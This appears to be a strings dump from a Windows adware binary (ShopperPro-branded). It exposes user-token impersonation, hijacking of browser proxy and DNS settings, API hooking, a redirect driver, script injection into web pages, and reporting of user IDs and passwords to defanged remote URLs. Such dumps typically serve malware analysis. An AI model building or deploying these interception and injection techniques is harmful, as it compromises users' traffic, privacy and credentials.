[CImpersonate::AddAceToWindowStation] GetAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d

[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d

[CImpersonate::AddAceToDesktop] AddAce - Error: %d

[CImpersonate::AddAceToDesktop] GetAce - Error: %d

[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d

[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS

[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d

[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS

[CImpersonate::OpenCurrentUserKey] Impersonated: %d

[CImpersonate::FindLoggedOnUser] Process32First - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d

[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

explorer.exe

[CImpersonate::FindLoggedOnUser] Impersonated: %d

[CImpersonate::GetLogonUserName] Name: %s

[CImpersonate::GetLogonUserName] GetUserName - Error: %d

[CVA_Alert::OnDeserialize] ___Error get m_LandingUrl

[CVA_Alert::OnDeserialize] ___Error get m_URL

user32.dll

WININET.DLL

kernel32.dll

d/d/%d d:d:d::d

[CFullController::IsProxySupported] ___Error Create Proxy Controller

[CFullController::IsProxySupported] Create Proxy Controller...

[CFullController::SetPassThrough]

[CFullController::Init] ___Error to Create IHttpEngineConfiguration

[CFullController::Start] ___Error ProxyRes = %d, LspRes = %d

[CFullController::Stop] ___Error ProxyRes = %d, LspRes = %d

[CProxyController::SetVersionStatus] Status: %d -> %d

[CProxyController::GetVersionStatus] Status: %d

[CProxyController::Init] ___Error to Create IHttpEngineConfiguration

[CProxyController::IsAloud] FALSE - There is a pac file: %s

[HttpProxyServer::CreatePacFile] ___Error: ConfigPath::GetPath. LE: %d

[HttpProxyServer::CreatePacFile] ___Error: WriteRedirectRulesToPacFile. LE: %d

[CDriverManager::IoControl] DeviceIoControl failed: %d

[CDriverController::GetRedirectedConnectionInfo] ___Error GET_CONN %d

[CDriverController::GetRedirectedConnectionInfo] Port %d

[CDriverController::SetRedirectInfo] to port %d

[CDriverController::SetRedirectInfo] ___Error REDIRECT_ALL device %d

[CDriverController::SetRedirectInfo] ___Error SET_PORT device %d

[CDriverController::SetRedirectInfo] ___Error INTERFACE_VERSION mismatch R0 %d R3 %d

[CDriverController::SetRedirectInfo] ___Error INTERFACE_VERSION device %d

[CDriverController::SetRedirectInfo] ___Error open device %d

\\.\svd

HttpHandleAll

HttpWorkerBufferLimit

HttpListenPort

HttpListenIP

RtmpListenPort

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - Wait: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - ProcessCommand: %d

SOFTWARE\ShopperPro\JsDriver\%s\Original

SOFTWARE\ShopperPro\JsDriver\%s\Current

[CDnsProxyServer::is_in_redirection_rules] Found redirection Rule: %s

[CDnsProxyServer::load_dns_clients] IP: %s

[CDnsProxyServer::get_dns_servers] Dns Servers count: %d

[CDnsProxyServer::get_dns_servers] Dns Server: %s

[CDnsProxyServer::get_dns_servers] ___Error RegEnumKeyEx. LE: %d, Name: %s

[CDnsProxyServer::get_dns_servers] DhcpNameServer: %s

[CDnsProxyServer::get_dns_servers] NameServer: %s

[CDnsProxyServer::get_dns_servers] ___Error RegOpenKeyEx. LE: %d, Name: %s

[CDnsProxyServer::get_dns_servers] ___Error RegQueryInfoKey. LE: %d

[CDnsProxyServer::get_dns_servers] ___Error key: %s

SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces

[CDnsProxyServer::Start] ___Error CAsyncUdpSocketServer<CDnsProxyServer>::Start. LE: %d

[CDnsProxyServer::Start] Local IP: %d.%d.%d.%d

[CDnsProxyServer::Start] ___Error SafeGetHostByName. LE: %d, Host: %s

[CDnsProxyServer::Start] Host name: %s

[CDnsProxyServer::Start] ___Error gethostname. LE: %d

[CDnsProxyServer::dns_reverse_lookup] Name: %s

[CDnsProxyServer::dns_reverse_lookup] IP: %s

[CDnsProxyServer::add_dns_client] IP: %s

%u.%u.%u.%u

[CDnsProxyServer::is_dns_client] IP: %s

[CDnsProxyServer::save_dns_clients] IP: %s

[CDnsProxyServer::dns_send_reply] @@@ Found IP: %s @@@

[CDnsProxyServer::dns_send_reply] Domain: %s

[CDnsProxyServer::OnRecv] ___Error %x - SendTo timeout to the original dns server

[CDnsProxyServer::OnRecv] ___Error %x - Select timeout from the original dns server

[CDnsProxyServer::OnRecv] ___Error %x - RecvFrom timeout from the original dns server

[CDnsProxyServer::OnRecv] ___Error %x - SendTo the client the response from the original server

[CDnsProxyServer::OnRecv] ___Error Got from the original dns server a packet with invalid size of %d

[CDnsProxyServer::OnRecv] ___Error %x - Open new socket to forward dns query

[CDnsProxyServer::OnRecv] unsupported opcode: %d

[CDnsProxyServer::OnRecv] DNS query: %s

[CDnsProxyServer::OnRecv] DNS query from client Host: %s, Port: %d

[CDnsProxyServer::OnRecv] Got packet with invalid size of %d

StartPortRange

EndPortRange

</URL>

<URL>

CAcceleratedEventsThread::OnReportNoAccelerationReason

0.0.0.0

%s%lld%s

%s%d%s

<EMBED><URL>

[CAcceleratedEventsThread::ReportEmbedStreaming]

[CAcceleratedEventsThread::ReportStatistics]___Error empty param : URL Acc Url = %s, Normal URL = %s

[CAcceleratedEventsThread::ReportStatistics] %s

[CAcceleratedEventsThread::ReportStatistics]___Error encode Acc URL = %s

%s%s%s

[CAcceleratedEventsThread::ReportStatistics]___Error encode Normal URL = %s

[CAcceleratedEventsThread::ReportVideoID] XML = %s

<WATCH><URL>%s</URL></WATCH>

[CAcceleratedEventsThread::ReportVideoID] URL = %s

YOUTUBE.COM/GET_VIDEO?VIDEO_ID=

[CAcceleratedEventsThread::ReportFailureReason] %s

[CAcceleratedEventsThread::ReportStatistics]___Error encode URL = %s

[CAcceleratedEventsThread::ReportFailureReason]___Error empty param : URL Acc Url = %s, AccFailureReason = %s

[CAcceleratedEventsThread::OnReportStatistics]

[CAcceleratedEventsThread::ReportAccelerations]

[CAcceleratedEventsThread] - Start the Pipe Clients to the Engine & UI

[CAcceleratedEventsThread::ProcessEvent] ___Warning: Unsupported event (%d)

DestroyPipeEventThreadManager

CreatePipeEventThreadManager

[CDNSResponse::AnalyzeResponse] Found IP: %u.%u.%u.%u

[Mine_GetAddrInfoW] nodename: %S

[Mine_GetAddrInfoExA] pName: %s

[Mine_GetAddrInfoExW] pName: %S

[Mine_getaddrinfo] nodename: %s

[CDNSInterceptor::Detour] GetAddrInfoExW - %d

[CDNSInterceptor::Detour] GetAddrInfoExA - %d

[CDNSInterceptor::Detour] GetAddrInfoW - %d

[CDNSInterceptor::Detour] getaddrinfo - %d

[CDNSInterceptor::Detour] gethostbyname - %d

[CDNSInterceptor::Detour] ___Error LoadLibrary ws2_32.dll

ws2_32.dll

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d

[CSerializable::GetField] ___Error - Vector size missmatch. Code: %d

[CIEInternetProxySettings::RetriveProxyConfiguration - Exit] list.pOptions == NULL

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::Refresh] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] list.pOptions == NULL

[CIEInternetProxySettings::GetCurrentUserKey] User Key: %p

[CIEInternetProxySettings::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

http=

[CIEInternetProxySettings::Save] %s - %s = %s

ListenPort

[EngineConfiguration::GetCurrentUserKey] User Key: %X

[EngineConfiguration::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

HttpRedirectProxyPort

HttpRedirectProxyDomain

[CAcceleratorEventsData::OnDeserialize] ___Error get URL

[GZipWrapper::InflateGzipData] ___Error ReadString : %s

[GZipWrapper::InflateGzipData] ___Error Open file : %s

[GZipWrapper::InflateGzipData] ___Error WriteDataToFile : %s

GZipWrapper_%d.tmp

C:\ProgramData\tmp\

http_port

prefs.js

user.js

user_pref("network.proxy.

autoconfig_url

[CAsyncUpdate::DownloadProgress] Downloaded: %d, Total: %d

[CAsyncUpdate::StartUpdate] Download URL: %s

[CAsyncUpdate::StartUpdate] ___Error Sennd Update Command: %s

[CAsyncUpdate::StartUpdate] Update Page: %s

va_conf.dat

[CAsyncUpdate::DownloadComplete] ___Error Send Update Command: %s

[CAsyncUpdate::DownloadComplete] Result: %d, File: %s

1.0.0.0

Temp.dll

[CAsyncUpdate::AnalizeXMLResults] ___Error Trial DAT file: %s

[CAsyncUpdate::AnalizeXMLResults] Trial.dat saved to: %s

Trial.dat

RESULT.VA_TRIAL.CONFIG.DATA

Temp.zip

RESULT.VA_RES.RESOURCES.DOWNLOAD_URL

RESULT.VA_RES.RESOURCES.VERSION

RESULT.BLACKLIST.DATA

RESULT.SENDLOGRULE

RESULT.VA.CONFIG.SOCIAL_NETWORKS.TWITTER_VIDEO_STRING

RESULT.VA.CONFIG.SOCIAL_NETWORKS.TWITTER_FRAME_STRING

RESULT.ADS.SHOW

[CAsyncUpdate::AnalizeXMLResults] ___Error updating Rules DAT file: %s

[CAsyncUpdate::AnalizeXMLResults] Rules saved to: %s

RESULT.VA.CONFIG.SITES.ZIP

RESULT.VA.CONFIG.SITES.XMLVERSION

RESULT.VA.CONFIG.SITES.DATA

[CAsyncUpdate::UpdateSearchComplete] version status = %d

[CAsyncUpdate::UpdateSearchComplete] Result: %d, UpdateExist: %d

[CSANotifierMgr::UpdateResourceDll] ___Error: Removing %s. Err = %d

[CSANotifierMgr::UpdateResourceDll] ___Error: Renaming %s to %s. Err = %d

Old.dll

[DownloadMHTsStatus::DownloadComplete] ___Error: Renaming %s to %s. Err = %d

[CExecuteUpdate::OnDeserialize] ___Error get m_ShowCmd

[CExecuteUpdate::OnDeserialize] ___Error get m_Directory

[CExecuteUpdate::OnDeserialize] ___Error get m_Parameters

[CExecuteUpdate::OnDeserialize] ___Error get m_Operation

[CExecuteUpdate::OnDeserialize] ___Error get m_File

[CCoreConfig::InitConfig] Product Name %s UseRegistry %d

LastNum%d

LastID%d

1.1.4

%d/%d/%d %d:%d:%d

%s.PARAM

%s.ID

.CONDITIONS.CONDITION[%d]

.LANDING_URL

.ICON

.TOOLTIP

.NOTIFICATION_TYPE

.VALIDATE

.EXPIRATION_HOURS

.EXPIRATION_TIME

.NUM_OF_ICONS

.ANIMATION_TIME

.DISPLAY_TIME

.TYPE

.NUMBER

RESULT.LAMP

RESULT.ALERT

[Core::ShouldUpdate] %s

RESULT.LICENSE.EXPIRATION

RESULT.LICENSE.STATUS

RESULT.LASTERROR

[Core::RequestURL] Filename = %s, URL = %s

RESULT.USER.DAUI

RESULT.ANON.PW

RESULT.ANON.ID

RESULT.USER.PW

RESULT.USER.ID

[Core::AnalyzeXMLResult] Filename = %s

RESULT.STATS.COLLECT

RESULT.DISABLED_PARTNERS

RESULT.UPDATE.PAGE_URL

RESULT.UPDATE.DOWNLOAD_FILENAME

RESULT.UPDATE.DOWNLOAD_URL

RESULT.UPDATE.VERSION

RESULT.UPDATE.EXIST

Core.log

ddd

ddd

2.0.0.0

%DOMAIN%

%s=%s

&OldUserID=%s&OldPassword=%s

%s?%s

hXXp://online.%DOMAIN%.com/online/updateSBPID.aspx

CV=[core-version]&ProductID=[sb-pid]&UserID=[sb-uid]&Password=[sb-upw]&OS=[sb-os]

Password

[Core::SendInfo] Filename = %s, URL = %s

hXXp://online.%DOMAIN%.com/online/Report.aspx

[Core::HitStats] URL = %s

hXXp://pix.%DOMAIN%.com

[Core::BuildUpdateURL] URL = %s

&ElapsedTime=%d

[Core::BuildUpdateURL] ___ALERT___ Alert Info = %s

&DAUI=%s

&ActivationCode=%s&ActivationEmail=%s

%s?%s&V=[sb-ve]&VS=[sb-vs]&Beta=[sb-beta]&Aff=[sb-aff]&BundleID=[sb-bundle]&BrandID=[sb-brand]&PartnerList=[sb-partners]

[Core::CheckForUpdates] RequestURL FAILED

[Core::CheckForUpdates] RequestURL SUCCEEDED

[Core::CheckForUpdates] URL = %s

hXXp://online.%DOMAIN%.com/online/update.aspx

[Core::PerformAsyncUpdateCheck] URL = %s

&SBPIDS=%d

[Core::FindRegistrationInfoByKey] VA Product Found

[Core::FindRegistrationInfoByKey] DAP Product Found

[Core::FindRegistrationInfoByKey] Password is %s

[Core::FindRegistrationInfoByKey] SBPID is %s

[Core::FindRegistrationInfoByKey] Product is %s

[Core::FindRegistrationInfoByKey]

[Core::FindRegistrationInfo] ___Error open key %s

[Core::FindRegistrationInfo] - FindRegistrationInfoByKey from %s

[Core::FindRegistrationInfo] - CurrentUSDKey is %s

[Core::FindRegistrationInfo] - Enum HKEY_CURRENT_USER\%s

[Core::FindRegistrationInfo] - FindRegistrationInfoByKey from product key

[Core::RegisterProduct] RequestURL Fauled err = %d

[Core::RegisterProduct] RequestURL Succeeded

[Core::RegisterProduct] URL = %s

&LastResponse=%s

&TF=%s

&Retry=%d&LE=%d

hXXp://online.%DOMAIN%.com/online/Register.aspx

[Core::GenerateAnonymousID] URL = %s

hXXp://online.%DOMAIN%.com/online/RegisterAnon.aspx

[Core::PingServer] URL = %s

hXXp://online.%DOMAIN%.com/online/ka.aspx

InternetReadFile failed: %d

WriteFile failed: %d

Create output file failed: %d

QueryStatus not OK: %d

HttpQueryInfo failed: %d

InternetOpenUrl failed: %d

InternetOpen failed: %d

Content-Disposition: form-data; name="%s"

XXX

--%s--

Content-Type:multipart/form-data;boundary=%s

WaitingPost.xml

%%X

<?xml version="1.0" encoding="%s"?>

-%c%c%c%c%c%c%c%c%c%c

deflate 1.1.4 Copyright 1995-2002 Jean-loup Gailly

inflate 1.1.4 Copyright 1995-2002 Mark Adler

()$^.* ?[]|\-{},:=!

safari.exe

opera.exe

itunes.exe

iexplore.exe

chrome.exe

(build %d)

Windows 2000

Windows XP

Web Edition

Windows Server 2003,

Windows XP Professional x64 Edition

Windows Home Server

Windows Storage Server 2003

Windows Server 2003 R2,

Web Server Edition

Windows Server 2008 R2

Windows 8

Windows 7

Windows Server 2008

Windows Vista

[ProxyExtensionInj::WriteToLocalCacheWriter] FDM=%d (%d),Req:%d - Written %d/%d bytes

[ProxyExtensionInj::WriteToLocalCacheWriter] FDM=%d (%d),Req:%d ___Error invalid JobInfo

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\locale

[ProxyExtensionInj::OnHeader] FDM=%d (%d),Req:%d - html file size unknown - ignore this request (Response)

[ProxyExtensionInj::OnHeader] FDM=%d (%d),Req:%d - Try to Inject script... (Response)

[Inject OnHeader] URL %s, type %s, length %s, trans.encoding %s, cont.encoding %s

hXXp://repjs.shopper-pro.com/app/ping.ashx?product=ShopperProJs&action=%s&it=%d&os=%s&Rnd=%d&v=%s&usid=%s&aff=JS%s&pixguid=%s&text=%s

ProxyExtensionInj: can't open database1_0_0.json

database1_0_0.json

ProxyExtensionInj: can't open Config.json

Config.json

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - Total written %d bytes

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - injected %d bytes

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error writing new header

[ProxyExtensionInj::OnHeader] FDM=%d -

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error NewHttpParser ParseHeader

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error NewHttpParser Initialize

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error BuildHeader

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid IHttpFileDownloadMgr

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid IHttpProxyServer

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid JobInfo

%%SID%%

%%USERID%%

%%SPARAM%%

%%SPARAMDATE%%

%%SPARAMPROD%%

%%SPARAMSUB%%

%%COUNTRY%%

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - /HEAD position was found: %d

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error /HEAD position was not found

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error uncompress: %d

[ProxyExtensionInj::InjectScriptToWatchPage] Crash fix FDM=%d (%d),Req:%d

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - Parsing Watch page file for Script injection

[InjHttpProxyServer]

[InjHttpProxyLocal::InjHttpProxyLocal] FDM=%d (%d)

[InjHttpProxyLocal::~InjHttpProxyLocal] FDM=%d (%d)

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): After writing %d bytes into upper level

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Going to write the %d bytes into the upper level

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Read %d bytes from socket %d

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Reading from socket %d

[InjHttpProxyLocal::PutChunk] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[InjHttpProxyServer::AcceptConnection] ___Error to initialize Worker: %d.

[InjHttpProxyServer::AcceptConnection] Going to initialize Worker: %d.

[InjHttpProxyServer::AcceptConnection] ___Error: There is not enough memory to allocate HttpProxyLocal.

[InjFileDownloadMgr] FDM=%d

[InjHttpProxyRemote::InjHttpProxyRemote] FDM=%d (%d),Req:%d

[InjHttpProxyRemote::ConnectToDomain] FAILED FDM=%d (%d),Req:%d

[InjHttpProxyRemote::~InjHttpProxyRemote] FDM=%d (%d),Req:%d

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Request was written to Local

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Going to write request to Local

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Read %d bytes from socket %d

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Reading from socket %d

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the Job object is null.

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the current download state is %s.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Wrote %d/%d bytes to Socket %d.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Going to write %d bytes to socket %d.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is null.

InjHttpProxyRemote::WriteCachedBufferToSocket

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[InjFileDownloadMgr::CreateWorker] FDM=%d (%d) was created.

[InjFileDownloadMgr::CreateWorker] FDM=%d (%d) ___Error Initializing the worker.

pHttpProxyWorker

[InjHttpProxyServer::GetFileDownloadManager] FDM=%d for Worker: %d, IP: %s, Port: %d, was found.

[InjHttpProxyServer::GetFileDownloadManager] ___Error inserting FDM=%d to the map.

[InjHttpProxyServer::GetFileDownloadManager] ___Error initializing FDM=%d.

[InjHttpProxyServer::GetFileDownloadManager] The FDM=%d for Worker:%d, IP: %s, Port: %d, was created.

HttpProxyServer::GetDownloader

[InjHttpProxyServer::GetFileDownloadManager] FDM not found - Creating a new one. (Worker: %d, IP: %s, Port: %d)

[InjHttpProxyServer::GetFileDownloadManager] Getting the FDM for Worker: %d, IP: %s, Port: %d.

[InjHttpProxyServer::OnHeader] FDM=%d,Req:%d ___Error: The request was not added. (IP:%s, port:%d).

[InjHttpProxyServer::OnHeader] FDM=%d - Adding Req:%d (IP:%s, port:%d).

HttpProxyServer::OnHeader

[ProxyServer::StopAcceleration] Proxy type: %d

[ProxyServer::Stop] Proxy type: %d - Done

[ProxyServer::Stop] - delete HttpCookieJar

[ProxyServer::Stop] - GENERAL HTTP proxy - Stopped !

[ProxyServer::Stop] - GENERAL HTTP proxy - Stopping...

[ProxyServer::Stop] - HTTP proxy - Stopped !

[ProxyServer::Stop] - HTTP proxy - Stopping...

[ProxyServer::Stop] Proxy type: %d

[ProxyServer::CreateHttpProxyServer] *** HTTP Proxy Server - Created and Started ***

[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::Start.

[ProxyServer::CreateHttpProxyServer] HTTP Proxy Server - already started

[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::Initialize.

m_pIHttpProxyServer

[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::CreateInstance.

[ProxyServer::CreateHttpProxyServer] ___Error allocate HttpCookieJar.

[ProxyServer::CreateHttpProxyServer] HTTP Proxy Server - already created

ProxyServer::CreateHttpProxyServer

[ProxyServer::Start] Proxy type: %d - Done.

[ProxyServer::Start] *** HTTP proxy was started ***

[ProxyServer::Start] ___Error stating the HTTP proxy.

[ProxyServer::Start] ___Error Proxy type not supported. (Requested: %d).

[ProxyServer::Start] Proxy type: %d

[ProxyServer::AcceptConnection] *** Handover to HTTP ***

[AccelerationConfiguration::OnError] XML parse failed: %s

[CAccelerationStats::Write] Written: %d, Total: %lld, Bps: %d

[CAccelerationStats::Write] Written: %d

[CAccelerationStats::AddRequest] Req:%d - Request was added

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: SetBuffer

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: BuildHeader

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: SetRanges

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: ParseHeader

[CAccelerationStats::HandleNewRequest] FDM=%d, Req:%d (IP: %s, Port: %d) - Request was added.

[CAccelerationStats::HandleNewRequest] ___Error: The request was not added. FDM=%d, Req:%d (IP:%s, port:%d).

[CAccelerationStats::HandleNewRequest] ___Error initializing FDM=%d.

[HttpProxyServer::Init] ___Error creating listen AsyncSocket

[HttpProxyServer::Init]

[HttpProxyServer::OnData] Writing to FDM %d data bytes from Local Worker:%d.

HttpProxyServer::OnData

pIHttpProxyWorker

m_pIHttpEngineConfiguration

[HttpProxyServer::WriteDataToFile] ___Error: Not a reasnable data to write: %d

[HttpProxyServer::WriteDataToFile] ___Error: GetFileAttributes: %s, failed: %d

[HttpProxyServer::WriteDataToFile] ___Error: fwrite: %s, failed: %d

[HttpProxyServer::WriteDataToFile] ___Error: fopen: %s, failed: %d

[HttpProxyServer::WriteDataToFile] Filename: %s

[HttpProxyServer::Start] ___Error - HTTP Configuration not valid

HttpProxyServer::Initialize

[HttpProxyServer::Initialize]

[HttpProxyServer::OnAcceptEvent] *** Pass Through ***

[HttpProxyServer::OnAcceptEvent] ___Error accepting a new socket

[HttpProxyServer::OnAcceptEvent] ___Error accepting a new connection.

[HttpProxyServer::OnAcceptEvent] ___Error %s(%d) occured on the listen socket

[HttpProxyServer::IsRedirectedByDnsController] Client was Redirected by Dns Controller!

[HttpProxyServer::IsRedirectedByDnsController] NOT redirected by Dns Controller!

[HttpProxyServer::IsRedirectedByDnsController] ___Error IDnsController == NULL

[IHttpProxyServer::DestroyInstance] Destroy - HttpProxyServer - Regular MODE

[IHttpProxyServer::DestroyInstance] Destroy - TransparentProxyServer (PassThrough) - LSP MODE

[IHttpProxyServer::DestroyInstance] ___Error Redirect was not created - Type = IdleMode

[IHttpProxyServer::DestroyInstance] Destroy - LspHttpProxyServer - LSP MODE

[IHttpProxyServer::DestroyInstance] Destroy - LspHttpProxyServer (PassThrough) - LSP MODE

[HttpProxyServer::StartListening] Listening on port: %d

[HttpProxyServer::StartListening] ___Error Listen Socket Initialize failed

[HttpProxyServer::StartListening] ___Error listening on port: %d

[HttpProxyServer::StartListening] ___Error failed to bind the Listen Socket

[HttpProxyServer::StartListening] ___Error Testing Mode - failed to bind Listen Socket default port

[HttpProxyServer::StartListening] Try listening on IP: %s, Port: %d

[HttpProxyServer::StartListening] Listen port restored to default: %d

[HttpProxyServer::StartListening] ___Error Configuration not valid

[HttpProxyServer::StartListening]

HttpProxyServer::StartListening

[HttpProxyServer::StopAllAccelerations]

[HttpProxyServer::GetDestinationIpAndPort] ___Error getting the destination details. Local: %s:%d

[HttpProxyServer::GetDestinationIpAndPort] Local: %s:%d, Remote: %s:%d, PID: %d

[HttpProxyServer::GetDestinationIpAndPort] ___Error spIRedirectController == NULL

[HttpProxyServer::InitializationThread] ___Error listening to network traffic

[HttpProxyServer::InitializationThread] Listening to network traffic.

[HttpProxyServer::InitializationThread] Going to listen to network traffic

[HttpProxyServer::InitializationThread] ___Error HttpProxyServer not valid

[HttpProxyServer::InitializationThread]

[HttpProxyServer::ReleaseAllClosedFDMs] - All closed FDMs where released.

[HttpProxyServer::ReleaseAllClosedFDMs] - FDM=%d has %d RefCount.

[HttpProxyServer::ReleaseAllClosedFDMs] - Releasing FDM=%d.

[HttpProxyServer::ReleaseAllClosedFDMs] - There are %d FDMs to release.

[HttpProxyServer::ReleaseAllClosedFDMs] - Releasing all closed FDMs.

[HttpProxyServer::Start] ___Error hInitializationThread failed: %d

[HttpProxyServer::Start] hInitializationThread - S_OK

[HttpProxyServer::Start] Waiting for Initialzation Thread...

HttpProxyServer::Start

[HttpProxyServer::AcceptConnection] ___Error to initialize Worker: %d.

[HttpProxyServer::AcceptConnection] Going to initialize Worker: %d.

[HttpProxyServer::AcceptConnection] ___Error: There is not enough memory to allocate HttpProxyLocal.

[HttpProxyServer::AcceptConnection] ___Error getting the connected IP and port of the socket %d.

[HttpProxyServer::AcceptConnection] ___Error accepting a new socket

[HttpProxyServer::Work] --- Exit event was set ---

[HttpProxyServer::Work] - Start...

[HttpProxyServer::FindDownloadMgr] FDM=%d - Was stopped.

[HttpProxyServer::FindDownloadMgr] FDM=%d - Stopping...

[HttpProxyServer::FindDownloadMgr] FDM=%d - State is completed, deleting the FDM

[HttpProxyServer::FindDownloadMgr] The FDM=%d state is Not completed - Add Request to FDM

[HttpProxyServer::FindDownloadMgr] The FDM=%d is connected to %s : %d ---> and not to %s : %d

[HttpProxyServer::FindDownloadMgr] Worker was found ! (ID Metch)

